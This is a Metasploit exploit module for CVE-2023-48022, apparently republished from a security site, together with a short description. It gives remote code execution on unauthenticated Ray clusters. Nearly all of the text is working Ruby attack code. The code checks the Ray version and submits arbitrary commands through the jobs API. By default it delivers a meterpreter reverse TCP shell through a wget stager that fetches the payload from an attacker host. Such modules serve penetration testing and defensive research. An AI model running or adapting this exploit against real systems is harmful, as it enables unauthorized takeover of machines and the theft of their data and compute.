Authored by sierrabearchell, byt3bl33d3r, Takahiro Yokoyama | Site metasploit.com

This Metasploit modules demonstrates remote code execution in Ray via the agent job submission endpoint. This is intended functionality as Ray’s main purpose is executing arbitrary workloads. By default Ray has no authentication.

advisories | CVE-2023-48022

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ray Agent Job RCE',
'Description' => %q{
RCE in Ray via the agent job submission endpoint.
This is intended functionality as Ray's main purpose is executing arbitrary workloads.
By default Ray has no authentication.
},
'Author' => [
'sierrabearchell', # Vulnerability discovery
'byt3bl33d3r <[email protected]>', # Python Metasploit module
'Takahiro Yokoyama' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-48022'],
['URL', 'https://huntr.com/bounties/b507a6a0-c61a-4508-9101-fceb572b0385/'],
['URL', 'https://huntr.com/bounties/787a07c0-5535-469f-8c53-3efa4e5717c7/']
],
'CmdStagerFlavor' => %i[wget],
'Payload' => {
'DisableNops' => true
},
'Platform' => %w[linux],
'Targets' => [
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
[ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ],
[
'Linux Command', {
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
'FETCH_COMMAND' => 'WGET',
'MeterpreterTryToFork' => true
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-11-15',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)

register_options(
[
Opt::RPORT(8265),
]
)
end

def get_job_data(cmd)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/jobs/'),
'data' => { 'entrypoint' => cmd }.to_json
})
unless res && res.code == 200
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/job_agent/jobs/'),
'data' => { 'entrypoint' => cmd }.to_json
})
end
return unless res && res.code == 200

JSON.parse(res.body)
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/version')
})
return Exploit::CheckCode::Unknown unless res && res.code == 200

ray_version = res.get_json_document['ray_version']

return Exploit::CheckCode::Unknown unless ray_version

return Exploit::CheckCode::Safe unless Rex::Version.new(ray_version) <= Rex::Version.new('2.6.3')

@job_data = get_job_data('ls')
return Exploit::CheckCode::Vulnerable unless @job_data.nil?

Exploit::CheckCode::Appears
end

def exploit
@job_data ||= get_job_data('ls')
if @job_data
print_good("Command execution successful. Job ID: '#{@job_data['job_id']}' Submission ID: '#{@job_data['submission_id']}'")
end
case target['Type']
when :nix_cmd
execute_command(payload.encoded)
else
execute_cmdstager({ flavor: :wget })
end
end

def execute_command(cmd, _opts = {})
get_job_data(cmd)
end

end